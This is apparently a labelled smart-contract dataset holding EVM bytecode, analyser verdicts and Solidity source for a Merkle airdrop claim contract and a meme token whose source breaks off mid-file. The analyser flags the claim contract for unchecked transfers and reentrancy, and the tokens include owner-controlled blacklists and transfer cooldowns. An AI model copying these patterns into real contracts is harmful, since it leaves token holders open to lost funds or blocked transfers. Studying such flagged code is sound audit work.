0000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a60009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad561145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c8461145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600b541415610d575742600b819055505b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e4a5780601f10610e1f57610100808354040283529160200191610e4a565b820191906000526020600020905b815481529060010190602001808311610e2d57829003601f168201915b5050505050905090565b610e5c61145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600a60009054906101000a900460ff1615600a60006101000a81548160ff021916908315150217905550565b600061100b610f5561145a565b84611006856040518060600160405280602581526020016126f96025913960026000610f7f61145a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b611462565b6001905092915050565b600061102961102261145a565b8484611659565b6001905092915050565b61103b61145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600c60009054906101000a900460ff1615600c60006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b600c60009054906101000a900460ff1681565b6111cf61145a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611315576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125a36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806126d56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125c96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806126b06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061255e6023913960400191505060405180910390fd5b600a60009054906101000a900460ff16158061178357506009548111155b806117c7575061179161145a565b73ffffffffffffffffffffffffffffffffffffffff166117af610c53565b73ffffffffffffffffffffffffffffffffffffffff16145b61181c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806126116035913960400191505060405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118bd5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e7b57600a603c600b544203816118d257fe5b041080156118ec5750600c60009054906101000a900460ff165b801561193757506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b80156119835750600b54600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b1561198d57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bff576000611a0e6064611a006119f18761212e565b856121c390919063ffffffff16565b61224990919063ffffffff16565b9050611a1a8482612293565b611a98611a30828461244d90919063ffffffff16565b6040518060600160405280602681526020016125eb60269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b3f611af1828461244d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611be4848661244d90919063ffffffff16565b6040518082815260200191505060405180910390a350611e76565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e75576000611c7a6064611c6c600a856121c390919063ffffffff16565b61224990919063ffffffff16565b9050611ce8826040518060600160405280602681526020016125eb60269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3611e2f8382612293565b42600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5b612069565b611ee7816040518060600160405280602681526020016125eb60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7c81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a342600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600083831115829061211b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120e05780820151818401526020810190506120c5565b50505050905090810190601f16801561210d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080603c600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442038161217c57fe5b049050600281101561219257601e9150506121be565b60058110156121a55760149150506121be565b600a8110156121b857600f9150506121be565b600a9150505b919050565b6000808314156121d65760009050612243565b60008284029050828482816121e757fe5b041461223e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126466021913960400191505060405180910390fd5b809150505b92915050565b600061228b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612497565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061268f6021913960400191505060405180910390fd5b6123858160405180606001604052806022815260200161258160229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206e9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123dd8160075461244d90919063ffffffff16565b600781905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061248f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061206e565b905092915050565b60008083118290612543576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125085780820151818401526020810190506124ed565b50505050905090810190601f1680156125355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161254f57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f6e6c792061206d6178696d756d206f66203820746f6b656e732063616e206265207472616e73666572726564206174206f6e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220886a88c44b3371ab4ee740e56e4800eb4fcfd33d631b8b324abd09240046e1ce64736f6c63430007040033
|
{"success": true, "error": null, "results": {}}
| 3,202 |
0x0ED4643926d93666E9ff42b209881088F642815D
|
/**
*Submitted for verification at Etherscan.io on 2021-09-17
*/
pragma solidity ^0.5.12;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//TODO add safemath
interface IDPR {
function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool);
function transfer(address _to, uint256 _amount) external returns(bool);
function balanceOf(address _owner) external view returns(uint256);
function approve(address _spender, uint256 _amount) external returns(bool);
}
interface ILockingContract {
function lock(address _addr, uint256 _amount) external;
}
contract InstanceClaim {
using SafeMath for uint256;
bytes32 public root;
IDPR public dpr;
//system info
address public owner;
ILockingContract new_locking_contract;
mapping(bytes32=>bool) public claimMap;
mapping(address=>bool) public userMap;
//=====events=======
event distribute(address _addr, uint256 _amount);
event OwnerTransfer(address _newOwner);
//====modifiers====
modifier onlyOwner(){
require(owner == msg.sender);
_;
}
constructor(address _token) public{
dpr = IDPR(_token);
owner = msg.sender;
}
function transferOwnerShip(address _newOwner) onlyOwner external {
require(_newOwner != address(0), "MerkleClaim: Wrong owner");
owner = _newOwner;
emit OwnerTransfer(_newOwner);
}
function setRoot(bytes32 _root) external onlyOwner{
root = _root;
}
function setClaim(bytes32 node) private {
claimMap[node] = true;
}
function setLockContract(ILockingContract lockContract) external onlyOwner{
require(address(lockContract) != address(0), "DPRBridge: Zero address");
dpr.approve(address(lockContract), uint256(-1));
new_locking_contract = lockContract;
}
function distributeAndLock(uint256 _amount, bytes32[] memory proof, bool need_move) public{
require(!userMap[msg.sender], "MerkleClaim: Account is already claimed");
bytes32 node = keccak256(abi.encodePacked(msg.sender, _amount));
require(!claimMap[node], "MerkleClaim: Account is already claimed");
require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed");
//update status
setClaim(node);
// uint256 half_amount = _amount.div(2);
// choose the choice
if(need_move){
new_locking_contract.lock(msg.sender, _amount);
}else{
dpr.transfer(msg.sender, _amount);
}
//lockTokens(_addr, _amount.sub(half_amount));
userMap[msg.sender] = true;
emit distribute(msg.sender, _amount);
}
function withdraw(address _to) external onlyOwner{
require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed");
}
function pullTokens(uint256 _amount) external{
require(dpr.transferFrom(msg.sender, address(this), _amount), "MerkleClaim: TransferFrom failed");
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b14610170578063acd487c214610194578063dab5f340146101ba578063ebf0c717146101d7578063f63013aa146101f1578063ff703148146101f9576100a9565b806322d761c3146100ae5780632bcc23f8146100df57806351cff8d9146101055780637e0db6cc1461012d5780638863dd1a1461014a575b600080fd5b6100cb600480360360208110156100c457600080fd5b50356102a5565b604080519115158252519081900360200190f35b6100cb600480360360208110156100f557600080fd5b50356001600160a01b03166102ba565b61012b6004803603602081101561011b57600080fd5b50356001600160a01b03166102cf565b005b61012b6004803603602081101561014357600080fd5b5035610435565b61012b6004803603602081101561016057600080fd5b50356001600160a01b031661050c565b6101786105d2565b604080516001600160a01b039092168252519081900360200190f35b61012b600480360360208110156101aa57600080fd5b50356001600160a01b03166105e1565b61012b600480360360208110156101d057600080fd5b50356106f8565b6101df610714565b60408051918252519081900360200190f35b61017861071a565b61012b6004803603606081101561020f57600080fd5b8135919081019060408101602082013564010000000081111561023157600080fd5b82018360208201111561024357600080fd5b8035906020019184602083028401116401000000008311171561026557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610729565b60046020526000908152604090205460ff1681565b60056020526000908152604090205460ff1681565b6002546001600160a01b031633146102e657600080fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b039092169163a9059cbb91849184916370a08231916024808301926020929190829003018186803b15801561033a57600080fd5b505afa15801561034e573d6000803e3d6000fd5b505050506040513d602081101561036457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156103b557600080fd5b505af11580156103c9573d6000803e3d6000fd5b505050506040513d60208110156103df57600080fd5b5051610432576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b50565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561048f57600080fd5b505af11580156104a3573d6000803e3d6000fd5b505050506040513d60208110156104b957600080fd5b5051610432576040805162461bcd60e51b815260206004820181905260248201527f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c6564604482015290519081900360640190fd5b6002546001600160a01b0316331461052357600080fd5b6001600160a01b03811661057e576040805162461bcd60e51b815260206004820152601860248201527f4d65726b6c65436c61696d3a2057726f6e67206f776e65720000000000000000604482015290519081900360640190fd5b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b9181900360200190a150565b6002546001600160a01b031681565b6002546001600160a01b031633146105f857600080fd5b6001600160a01b038116610653576040805162461bcd60e51b815260206004820152601760248201527f4450524272696467653a205a65726f2061646472657373000000000000000000604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b1580156106aa57600080fd5b505af11580156106be573d6000803e3d6000fd5b505050506040513d60208110156106d457600080fd5b5050600380546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b0316331461070f57600080fd5b600055565b60005481565b6001546001600160a01b031681565b3360009081526005602052604090205460ff16156107785760405162461bcd60e51b8152600401808060200182810382526027815260200180610a756027913960400191505060405180910390fd5b604080513360601b60208083019190915260348083018790528351808403909101815260549092018352815191810191909120600081815260049092529190205460ff16156107f85760405162461bcd60e51b8152600401808060200182810382526027815260200180610a756027913960400191505060405180910390fd5b61080583600054836109b0565b610856576040805162461bcd60e51b815260206004820152601a60248201527f4d65726b6c65436c61696d3a20566572696679206661696c6564000000000000604482015290519081900360640190fd5b61085f81610a59565b81156108d5576003546040805163282d3fdf60e01b81523360048201526024810187905290516001600160a01b039092169163282d3fdf9160448082019260009290919082900301818387803b1580156108b857600080fd5b505af11580156108cc573d6000803e3d6000fd5b50505050610956565b6001546040805163a9059cbb60e01b81523360048201526024810187905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561092957600080fd5b505af115801561093d573d6000803e3d6000fd5b505050506040513d602081101561095357600080fd5b50505b33600081815260056020908152604091829020805460ff191660011790558151928352820186905280517ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e9281900390910190a150505050565b600081815b8551811015610a4e5760008682815181106109cc57fe5b60200260200101519050808311610a135782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610a45565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b506001016109b5565b509092149392505050565b6000908152600460205260409020805460ff1916600117905556fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564a265627a7a72315820a4da1f3bf2e8177a8d5cdb4ae65c0549a97db12d5d3cff488ce9c10d358b399164736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,203 |
0xB2D5Ec6031e0f73CF8FcA23c3CB4bBD148b79530
|
// RichMessiahInu ($RICHMESSIAH)
//Telegram: https://t.me/richmessiahinu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RichMessiahInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rich Messiah Inu - t.me/richmessiahinu";
string private constant _symbol = "RICHMESSIAH";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
